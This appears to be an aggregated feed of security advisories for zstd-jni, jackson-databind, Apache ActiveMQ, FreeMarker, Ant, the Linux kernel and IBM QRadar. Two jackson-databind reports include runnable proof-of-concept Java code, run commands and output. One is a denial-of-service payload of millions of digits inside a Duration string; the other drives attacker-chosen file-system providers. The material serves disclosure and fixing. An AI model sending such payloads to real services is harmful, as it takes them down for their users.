IBM QRadar could allow a remote attacker to cause a denial of service or obtain sensitive information due to an out-of-bounds read.

A vulnerability has been found in luben zstd-jni up to 1.5.7-13. This vulnerability affects the function ZstdCompressCtx.loadDict of the file ZstdCompressCtx.java of the component Dictionary Sharing. Such manipulation leads to use after free. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.7-14 is able to resolve this issue. The name of the patch is a560131d7834598afd9cea6b7c107bc88e915936. The affected component should be upgraded. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.

zstd-jni versions 1.2.0 through 1.5.7-13 contain an out-of-bounds read vulnerability in the ZstdDictDecompress constructor because offset and length arguments are never validated against the dictionary array bounds. Attackers can supply arbitrary offset or length values to read memory past the end of the supplied array, potentially causing JVM termination.

Summary jackson-databind 3.2.1 deserializes a JSON string bound to a javax.xml.datatype.Duration or javax.xml.datatype.XMLGregorianCalendar field by passing the raw string verbatim to DatatypeFactory.newDuration(value) / newXMLGregorianCalendar(value). Per the XML-Schema lexical grammar these factory methods accept numeric components of arbitrary length, which the JDK materializes into java.math.BigInteger / BigDecimal using the native BigInteger(String) constructor (an O(n²) parser). Because the digits reside inside a JSON string token, jackson-core's StreamReadConstraints.maxNumberLength guard (which bounds only JSON number tokens) never fires, so there is no length limit anywhere on this path. An unauthenticated attacker can submit a single small request (e.g. ~1–5 MB) that forces tens of seconds to minutes of single-thread CPU consumption, yielding a denial of service under the default JsonMapper.builder().build() mapper with no polymorphic typing or special configuration.

Details StreamReadConstraints.maxNumberLength (jackson-core, default 1000) bounds the text length of JSON number tokens only; it does not apply to digits inside a JSON string token (maxStringLength default is 100,000,000). jackson's own value binders compensate for this gap elsewhere — NumberDeserializers explicitly call streamReadConstraints().validateIntegerLength(text.length()) / validateFPLength(text.length()) before parsing a stringified number (NumberDeserializers.java:1063, :1139). The XML-datatype deserializer omits this identical pre-check.

CoreXMLDeserializers registers Std deserializers by default for any field typed javax.xml.datatype.Duration or XMLGregorianCalendar (findBeanDeserializer), with no opt-in required. Std.deserialize hands the attacker string straight to the datatype factory:

java protected Object deserialize(String value, DeserializationContext ctxt) { switch (kind) { case TYPEDURATION: return dataTypeFactory.newDuration(value); // attacker lexical string case TYPEGCALENDAR: Date d; try { d = parseDate(value, ctxt); } catch (DatabindException e) { return dataTypeFactory.newXMLGregorianCalendar(value); // attacker lexical string } return gregorianFromDate(ctxt, d); } throw new IllegalStateException(); }

Per the XSD lexical rules, newDuration parses each numeric component (years, months, …) into a BigInteger, and newXMLGregorianCalendar parses fractional seconds into a BigDecimal. The JDK uses the native BigInteger(String) / BigDecimal(String) constructors, which are O(n²) in the digit count. A short JSON string such as "P" + "9"×N + "Y" therefore forces the allocation and O(N²) parse of an N-digit BigInteger, entirely downstream of every jackson-core constraint.

Vulnerable Code Location

- src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:137 — newDuration(value) (TYPEDURATION) - src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:147 — newXMLGregorianCalendar(value) (TYPEGCALENDAR fallback) - Registration (default, no opt-in): src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:42-46 (findBeanDeserializer returns Std for XMLGregorianCalendar / Duration) - Contrast — correct length-guard pattern already used elsewhere in the library: src/main/java/tools/jackson/databind/deser/jdk/NumberDeserializers.java:1063,1139

Proof of Concept

PoC source (Vuln07DurationDoS.java). It uses only the public ObjectMapper.readValue API and a default mapper; the only "special" element is a normal DTO exposing a javax.xml.datatype.Duration field.

java package com.poc;

import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; import javax.xml.datatype.Duration;

/ Vuln 7: Unbounded numeric allocation / CPU DoS via Duration lexical deserialization. A short JSON string forces parsing of a huge BigInteger inside DatatypeFactory.newDuration. / public class Vuln07DurationDoS { public static class Cfg { public Duration ttl; }

public static void main(String[] args) throws Exception { ObjectMapper mapper = JsonMapper.builder().build(); int digits = Integer.getInteger("digits", 5000000);

// Baseline small parse. long t0 = System.nanoTime(); mapper.readValue("{\"ttl\":\"P1Y\"}", Cfg.class); long tBase = System.nanoTime() - t0; System.out.println("Baseline (P1Y) parse: " + (tBase/1000000) + " ms");

String big = "P" + "9".repeat(digits) + "Y"; String json = "{\"ttl\":\"" + big + "\"}"; System.out.println("Payload JSON size ~ " + json.length() + " bytes (year component = " + digits + " digits)"); long t1 = System.nanoTime(); try { Cfg c = mapper.readValue(json, Cfg.class); long dt = System.nanoTime() - t1; System.out.println("Parsed giant Duration in " + (dt/1000000) + " ms; years field type materialized as BigInteger"); System.out.println("RESULT: VULNERABLE - " + digits + "-digit BigInteger parsed from a " + json.length() + "-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)"); } catch (Throwable t) { long dt = System.nanoTime() - t1; System.out.println("After " + (dt/1000000) + " ms threw " + t.getClass().getName() + ": " + t.getMessage()); } } }

Minimal HTTP-shaped payload (what an attacker sends):

json { "ttl": "P99999999999999999999…9Y" } // 'P' + N nines + 'Y', N up to ~100,000,000

An XMLGregorianCalendar field is equally affected via the fractional-seconds path, e.g. { "at": "0000-01-01T00:00:00." + "9"×N }.

Execution Steps

The PoC needs only the three Jackson 3.2.1 jars on the classpath; it can be built and run with plain javac/java (no Maven required). The jars are the standard published artifacts (here resolved from the local Maven cache ~/.m2, but any copy works).

bash 0. Locate the three dependency jars (published Maven artifacts). M2="$HOME/.m2/repository" DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar" CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar" ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar" CP="$DB:$CORE:$ANN" If not already cached, fetch them once, e.g.: mvn -q dependency:get -Dartifact=tools.jackson.core:jackson-databind:3.2.1 (jackson-core 3.2.1 and jackson-annotations 2.22 come as transitive deps)

1. Compile with javac (single source file). mkdir -p out javac -cp "$CP" -d out src/main/java/com/poc/Vuln07DurationDoS.java

2. Quick confirmation (~11 s): 1,000,000-digit year component. java -Xmx2g -Ddigits=1000000 -cp "out:$CP" com.poc.Vuln07DurationDoS

3. Full-severity demonstration (~293 s): 5,000,000-digit year component. java -Xmx2g -Ddigits=5000000 -cp "out:$CP" com.poc.Vuln07DurationDoS

The digits system property controls the number of 9 characters in the year component; JSON payload size ≈ digits + 12 bytes. Increase toward the default 100,000,000 maxStringLength to scale cost further.

Environment used for the evidence below: jackson-databind 3.2.1, jackson-core 3.2.1, jackson-annotations 2.22; OpenJDK 25 on macOS (darwin), default JsonMapper.builder().build().

Reproduction Evidence

Deterministic values (payload byte count, resulting bit-length) are exact across runs; timings vary with load. Two independent runs at different sizes:

digits = 5,000,000 (~5 MB payload): Baseline (P1Y) parse: 27 ms Payload JSON size ~ 5000012 bytes (year component = 5000000 digits) Parsed giant Duration in 293175 ms; years field type materialized as BigInteger RESULT: VULNERABLE - 5000000-digit BigInteger parsed from a 5000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)

digits = 1,000,000 (~1 MB payload, for fast repeatability): Baseline (P1Y) parse: 53 ms Payload JSON size ~ 1000012 bytes (year component = 1000000 digits) Parsed giant Duration in 11155 ms; years field type materialized as BigInteger RESULT: VULNERABLE - 1000000-digit BigInteger parsed from a 1000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)

Interpretation: a normal "P1Y" value parses in tens of milliseconds; a ~1 MB attacker payload consumes ~11 s and a ~5 MB payload ~293 s of single-thread CPU — a 5–6 order-of-magnitude amplification. The super-linear growth (≈26× cost for 5× payload) is consistent with the JDK's O(n²) BigInteger(String) constructor. The cost occurs inside DatatypeFactory.newDuration, downstream of jackson-core's StreamReadConstraints (independently confirmed: the same digit sequence supplied as a bare JSON number token is rejected with StreamConstraintsException, whereas inside a string token it is not bounded).

Impact

An unauthenticated attacker can stall a request-processing thread for tens of seconds to minutes and allocate a large BigInteger/BigDecimal from a single small request. Because the cost is CPU-bound and super-linear, a handful of concurrent requests can saturate the server's worker threads and CPU, denying service to all users. The exposure requires only that a bound type expose a javax.xml.datatype.Duration or XMLGregorianCalendar field common in applications that ingest XML-schema derived data, SOAP/JAXB-adjacent models, or configuration carrying XSD durations — and fires under the default mapper with no polymorphic typing.

Recommended Fix

Apply the same validate-length-then-parse idiom the core NumberDeserializers already use:

1. In CoreXMLDeserializers.Std.deserialize, enforce a maximum raw-string length before calling newDuration(value) / newXMLGregorianCalendar(value) — e.g. reject inputs longer than ctxt.streamReadConstraints().getMaxNumberLength() (or a dedicated bound), routing over-length input through ctxt.handleWeirdStringValue(...). 2. Alternatively, validate the lexical form against a bounded regex and cap the digit count of each numeric component before delegating to DatatypeFactory. 3. Document that Duration / XMLGregorianCalendar fields bound from untrusted input must be length-limited at the transport layer.

zstd-jni versions 1.5.5-6 through 1.5.7-13 contain an out-of-bounds read vulnerability in Zstd.getFrameContentSize that fails to validate negative srcPosition arguments. Attackers can supply negative offset values that bypass bounds checks and reach the native frame-header parser, causing out-of-bounds memory reads that lead to information disclosure or JVM crashes.

zstd-jni versions 1.4.8-4 through 1.5.7-13 fail to validate negative length parameters in ZstdInputStreamNoFinalizer.read(), allowing attackers to trigger infinite loops. Attackers can pass negative length values to cause the read method to spin indefinitely while holding the stream monitor, blocking all other threads from accessing the stream.

zstd-jni versions before 1.5.7-14 fail to validate closed state in setDict, setLongMax, setLevel and setRefMultipleDDicts methods of stream classes. Attackers can call these methods on closed streams to write through freed native pointers, corrupting unrelated objects or crashing the JVM.

zstd-jni before 1.5.7-14 fails to validate the samples buffer capacity in Zstd.trainFromBufferDirect, allowing attackers to read past buffer boundaries by supplying oversized per-sample lengths. Attackers can trigger out-of-bounds memory access by providing crafted sample length arrays that cause the native implementation to walk past the buffer allocation, resulting in JVM termination.

zstd-jni before 1.5.7-14 contains a use-after-free vulnerability where streams and contexts hold a dictionary's shared lock only during the load call, allowing the dictionary to be closed while still referenced. Attackers can close a dictionary after associating it with a stream or context, causing subsequent read or write operations to access freed native memory, resulting in silent data corruption or JVM crashes.

zstd-jni before 1.5.7-14 performs 32-bit signed bounds checks on three direct-ByteBuffer frame-size native methods, allowing out-of-bounds memory reads via negative or overflowing offsets. Attackers can supply negative offset values near Integer.MINVALUE to read unmapped memory, causing JVM termination or extracting arbitrary frame size data from unintended memory locations.

zstd-jni versions before 1.5.7-14 fail to validate offset and length parameters in the ZstdDictCompress constructor, allowing out-of-bounds memory reads. Attackers can supply untrusted offset or length values to read native heap memory into the compression dictionary, typically causing JVM crashes.

Improper input validation in TopicRegion in Apache ActiveMQ, Apache ActiveMQ Broker, and Apache ActiveMQ All on all platforms.

An authenticated client can spoof clientId when removing a durable topic subscription.

This issue affects Apache ActiveMQ Broker: before 5.19.11, from 6.0.0 before 6.3.2; Apache ActiveMQ All: before 5.19.11, from 6.0.0 before 6.3.2; Apache ActiveMQ: before 5.19.11, from 6.0.0 before 6.3.2.

Users are recommended to upgrade to version 6.3.2 or 5.19.11 which fixes the issue.

Path traversal vulnerability in Apache FreeMarker template loading mechanism, if the attacker can specify an arbitrary malformed locale identifier to FreeMarker, and the localized lookup configuration setting is enabled (it's by default enabled).

This issue affects Apache FreeMarker from 2.2.0 through 2.3.34.

Users are recommended to upgrade to version 2.3.35. Disabling localized lookup in previous versions also mitigates this.

Note that even in versions affected by this vulnerability, the files that can be loaded remain restricted by the TemplateLoader that FreeMarker is configured to use. In particular, FileTemplateLoader prevents attempts to traverse outside the baseDir specified in its constructor. Other TemplateLoader implementations may allow access outside their designated base directory, but they are still constrained by the underlying storage mechanism—for example, a loader wrapping a Java class loader can only access resources that the class loader can load, while one wrapping a web application context can only access resources available through that context.

Apache Ant: Path traversal in ftp and scp tasks allows arbitrary file write

Summary

A java.nio.file.Path field bound from untrusted JSON reaches JDKFromStringDeserializer.NioPathHelper.deserialize. The attacker string flows through new URI(value) → Path.of(uri), then on FileSystemNotFoundException into a ServiceLoader<FileSystemProvider> enumeration that calls provider.getPath(uri) on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default JsonMapper.builder().build().

Impact is bounded. The JDK built-in providers (file, jar/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding Path from untrusted input is already an anti-pattern.

Description

NioPathHelper.deserialize performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via ctxt.handleInstantiationProblem(...)):

java int colonIx = value.indexOf(':'); if (colonIx < 0) { return Path.of(value); } ... final URI uri = new URI(value); // attacker-controlled URI string try { return Path.of(uri); // resolves scheme -> may load a FileSystemProvider } catch (FileSystemNotFoundException cause) { final String scheme = uri.getScheme(); for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) { if (provider.getScheme().equalsIgnoreCase(scheme)) { return provider.getPath(uri); // attacker scheme selects & drives a provider } } // no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default) }

The attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during readValue. For built-in schemes like jar:, getPath throws FileSystemNotFoundException (a mount requires explicit newFileSystem), surfacing as a wrapped ValueInstantiationException with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider.

Vulnerable Code Location

- src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java - STDPATH → NioPathHelper.deserialize; NioPathHelper.deserialize body (new URI → Path.of(uri) → ServiceLoader.load(FileSystemProvider.class) → provider.getPath(uri)).

Proof of Concept

Two PoCs are provided.

PoC 2 registers a custom FileSystemProvider to show that attacker JSON reaches provider.getPath(attackerURI) inside readValue. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is PoC 1 — the jar:/arbitrary-scheme path reaching the ServiceLoader fallback with no scheme restriction.

PoC 1 — sink reached (built-in jar provider).

com/poc/Vuln04PathProvider.java: java package com.poc;

import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; import java.nio.file.Path;

/ Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via Path.of(uri) / ServiceLoader<FileSystemProvider>. / public class Vuln04PathProvider { public static class Config { public Path workdir; }

public static void main(String[] args) throws Exception { ObjectMapper mapper = JsonMapper.builder().build(); // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI. String json = "{\"workdir\":\"jar:file:/tmp/jacksonpocevil.zip!/x\"}"; System.out.println("Deserializing (default mapper): " + json); try { Config c = mapper.readValue(json, Config.class); System.out.println("Resolved Path = " + c.workdir + " (class=" + (c.workdir==null?"null":c.workdir.getClass().getName()) + ")"); System.out.println("RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue"); } catch (Throwable t) { System.out.println("Throwable during resolution: " + t.getClass().getName() + ": " + t.getMessage()); System.out.println("RESULT: VULNERABLE (attacker URI drove provider resolution; threw " + t.getClass().getSimpleName() + " inside readValue)"); } } }

PoC 2 — scheme-selection mechanism demo (custom FileSystemProvider). A third-party provider (scheme evilscheme) registered via META-INF/services/java.nio.file.spi.FileSystemProvider, which is standing in for any provider a real application ships.

com/poc/EvilFileSystemProvider.java: java package com.poc;

import java.nio.file.; import java.nio.file.spi.FileSystemProvider; import java.nio.file.attribute.; import java.net.URI; import java.io.IOException; import java.util.; import java.util.Set; import java.nio.channels.SeekableByteChannel;

/ A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the scheme "evilscheme". It stands in for ANY third-party FileSystemProvider present on a real application's classpath. Its static initializer and getPath() record that they executed, proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri) inside jackson's readValue. / public class EvilFileSystemProvider extends FileSystemProvider { public static volatile boolean STATICINITRAN = false; public static volatile String GETPATHURI = null; static { STATICINITRAN = true; }

@Override public String getScheme() { return "evilscheme"; }

@Override public Path getPath(URI uri) { GETPATHURI = uri.toString(); System.out.println(">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: " + uri); // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc. return java.nio.file.Path.of(System.getProperty("java.io.tmpdir"), "evilprovider-marker"); }

// --- remaining abstract methods: minimal stubs --- @Override public FileSystem newFileSystem(URI uri, Map<String,?> env) { throw new UnsupportedOperationException(); } @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); } @Override public SeekableByteChannel newByteChannel(Path p, Set<? extends OpenOption> o, FileAttribute<?>... a) throws IOException { throw new UnsupportedOperationException(); } @Override public DirectoryStream<Path> newDirectoryStream(Path d, DirectoryStream.Filter<? super Path> f) { throw new UnsupportedOperationException(); } @Override public void createDirectory(Path d, FileAttribute<?>... a) { throw new UnsupportedOperationException(); } @Override public void delete(Path p) { throw new UnsupportedOperationException(); } @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); } @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); } @Override public boolean isSameFile(Path p, Path p2) { return false; } @Override public boolean isHidden(Path p) { return false; } @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); } @Override public void checkAccess(Path p, AccessMode... m) { } @Override public <V extends FileAttributeView> V getFileAttributeView(Path p, Class<V> t, LinkOption... o) { return null; } @Override public <A extends BasicFileAttributes> A readAttributes(Path p, Class<A> t, LinkOption... o) { throw new UnsupportedOperationException(); } @Override public Map<String,Object> readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); } @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { } }

Registration descriptor — src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider: com.poc.EvilFileSystemProvider

Driver — com/poc/Vuln04bPathProviderMount.java: java package com.poc;

import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper;

/ Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via META-INF/services (scheme "evilscheme") stands in for any provider on a real app's classpath. Attacker JSON with that scheme drives jackson's ServiceLoader fallback to (1) load the provider class (running its static initializer) and (2) invoke provider.getPath(attackerUri) -- all inside readValue, with NO application code. / public class Vuln04bPathProviderMount { public static class Config { public java.nio.file.Path workdir; }

public static void main(String[] args) throws Exception { System.out.println("Provider static-init ran before deserialization? " + EvilFileSystemProvider.STATICINITRAN); ObjectMapper mapper = JsonMapper.builder().build(); // default config String json = "{\"workdir\":\"evilscheme://attacker-controlled/target?x=1\"}"; System.out.println("Deserializing (default mapper): " + json);

Config c = mapper.readValue(json, Config.class);

System.out.println("Resolved Path = " + c.workdir); System.out.println("Provider static-init ran: " + EvilFileSystemProvider.STATICINITRAN); System.out.println("Provider.getPath() attacker URI: " + EvilFileSystemProvider.GETPATHURI); boolean ok = EvilFileSystemProvider.GETPATHURI != null && EvilFileSystemProvider.GETPATHURI.contains("attacker-controlled"); System.out.println(ok ? "RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)" : "RESULT: NOT reproduced"); } }

Execution Steps

The PoCs need only the three Jackson 3.2.1 jars on the classpath and can be built with plain javac/java . PoC 2 additionally requires the META-INF/services descriptor to be on the runtime classpath

bash 0. Locate the three published dependency jars. M2="$HOME/.m2/repository" DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar" CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar" ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar" CP="$DB:$CORE:$ANN"

1. Compile the three sources. cd poc-project mkdir -p out javac -cp "$CP" -d out \ src/main/java/com/poc/EvilFileSystemProvider.java \ src/main/java/com/poc/Vuln04PathProvider.java \ src/main/java/com/poc/Vuln04bPathProviderMount.java

2. Put the ServiceLoader descriptor on the runtime classpath (needed by PoC 2). mkdir -p out/META-INF/services cp src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider \ out/META-INF/services/java.nio.file.spi.FileSystemProvider

3. Run both PoCs. java -cp "out:$CP" com.poc.Vuln04PathProvider # PoC 1 java -cp "out:$CP" com.poc.Vuln04bPathProviderMount # PoC 2

Reproduction Evidence

Executed against jackson-databind 3.2.1 (OpenJDK 25).

PoC 1 : Deserializing (default mapper): {"workdir":"jar:file:/tmp/jacksonpocevil.zip!/x"} Throwable during resolution: tools.jackson.databind.exc.ValueInstantiationException: Cannot construct instance of java.nio.file.Path, problem: java.nio.file.FileSystemNotFoundException at [Source: REDACTED (StreamReadFeature.INCLUDESOURCEINLOCATION disabled); byte offset: #UNKNOWN] (through reference chain: com.poc.Vuln04PathProvider$Config["workdir"]) RESULT: VULNERABLE (attacker URI drove provider resolution; threw ValueInstantiationException inside readValue) Notes: the JDK built-in jar provider's getPath does not auto-mount (it also throws FileSystemNotFoundException, since only newFileSystem mounts). PoC 1 proves the in-scope defect: attacker input reaches the scheme-driven ServiceLoader resolution during readValue with no allow-list. PoC 2 only illustrates the downstream mechanism.

PoC 2 : Provider static-init ran before deserialization? true Deserializing (default mapper): {"workdir":"evilscheme://attacker-controlled/target?x=1"} >> [EVIL-PROVIDER] getPath() invoked with attacker URI: evilscheme://attacker-controlled/target?x=1 Resolved Path = /var/folders/.../T/evilprovider-marker Provider static-init ran: true Provider.getPath() attacker URI: evilscheme://attacker-controlled/target?x=1 RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven) Purely from a JSON string, jackson's ServiceLoader fallback selected the attacker-named scheme's provider and invoked provider.getPath(uri) with the full attacker URI inside readValue. Whether a given provider then does anything harmful is outside the library's control; the in-scope issue is the absence of a scheme restriction before this fallback runs.

Impact

Untrusted JSON drives provider.getPath(attackerURI) on an attacker-chosen provider during readValue. With only the JDK built-in providers this is inert. Real impact requires a side-effecting third-party provider on the classpath. The fix is to close the scheme-restriction gap.

Recommended Fix

1. Restrict the resolved scheme to a fixed, hard-coded set ; reject jar: and other schemes via ctxt.handleWeirdStringValue(...). A hard-coded set keeps the fix backport-safe with no new configuration surface. 2. Skip the ServiceLoader<FileSystemProvider> enumeration for disallowed schemes, so untrusted JSON cannot select and drive an arbitrary registered provider. 3. Document that java.nio.file.Path-typed fields should not be bound from untrusted JSON.

Last updated 2 September 2026

Last updated 30 September 2026

Last updated 2 September 2026

Last updated 2 September 2026

Last updated 2 September 2026

Last updated 30 September 2026

In the Linux kernel, the following vulnerability has been resolved:

scsi: libiscsitcp: Bound SCSI Response data segment to the connection buffer

iscsitcphdrdissect() receives the data segment of several PDU types into the fixed-size conn->data buffer, which is allocated for ISCSIDEFMAXRECVSEGLEN (8192) bytes. For the LOGINRSP, TEXTRSP, REJECT and ASYNCEVENT opcodes the dissect path already rejects a PDU whose DataSegmentLength exceeds that buffer.

The SCSI Command Response (ISCSIOPSCSICMDRSP) path also copies its data segment (sense/response data) into conn->data via iscsitcpdatarecvprep(), but it does so without the same check. The only upstream bound on in.datalen is conn->maxrecvdlength, the initiator's advertised MaxRecvDataSegmentLength, which is commonly negotiated well above 8192 (open-iscsi defaults to 262144). A target that returns a SCSI Response with a DataSegmentLength between 8193 and maxrecvdlength therefore overflows the 8192-byte conn->data buffer.

Once the same bound applies, ISCSIOPSCSICMDRSP is handled exactly like those responses: bound the data segment, receive it into conn->data when present, and otherwise complete the PDU with no data. Fold the opcode into that case group rather than duplicating the check.

In the Linux kernel, the following vulnerability has been resolved:

net: bridge: stop fast-leave after deleting a port group

brmulticastleavegroup() iterates mp->ports with pp = &p->next in its fast-leave path. After brmulticastdelpg() removes p, continuing the loop advances pp through the deleted entry.

If multicast-to-unicast was enabled, the bridge can hold multiple port groups for the same port and group with different source MAC addresses. Once multicast-to-unicast is disabled, brportgroupequal() matches those entries by port only. A fast leave can then delete one entry and continue from its stale next pointer, leaving mp->ports pointing at a deleted port group.

Fast leave only needs to remove one matching port group. Break after brmulticastdelpg() so the loop stops before dereferencing the removed entry.

In the Linux kernel, the following vulnerability has been resolved:

nvmet-rdma: handle inline data with a nonzero offset

nvmetrdmauseinlinesg() maps the host-controlled inline data offset into the per-command inline scatterlist. The bounds check admits any offset with off + len <= inlinedatasize, but the mapping still assumes the data begins in the first inline page:

sg->offset = off; sg->length = mint(int, len, PAGESIZE - off);

When a port is configured with inlinedatasize > PAGESIZE (settable up to max(SZ16K, PAGESIZE)), an offset in (PAGESIZE, inlinedatasize] makes "PAGESIZE - off" underflow, so sg->length is set to ~4 GiB and the block backend reads far past the first inline page. numpages(len) also ignores the offset, so an in-bounds offset whose [off, off+len) span crosses a page boundary under-counts the scatterlist.

Map the offset properly: split it into a page index and an in-page offset, start the scatterlist at that page, and size the page count from pageoff + len. Because the request scatterlist may now start at inlinesg[pageidx] rather than inlinesg[0], generalize the inline-SGL identity test in nvmetrdmareleasersp() to a range test; otherwise the persistent inline scatterlist is mistaken for an allocated one and nvmetreqfreesgls() frees an inline page (and warns in freelargekmalloc()).

dm-verity: fix buffer overflow in FEC calculation

IBM QRadar 7.5.0 through 7.5.0 UP15 Interim Fix 006 could allow an authenticated user to obtain sensitive information from backup files due to incorrect permissions assignment.

IBM QRadar 7.5.0 through 7.5.0 UP15 Interim Fix 005 contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.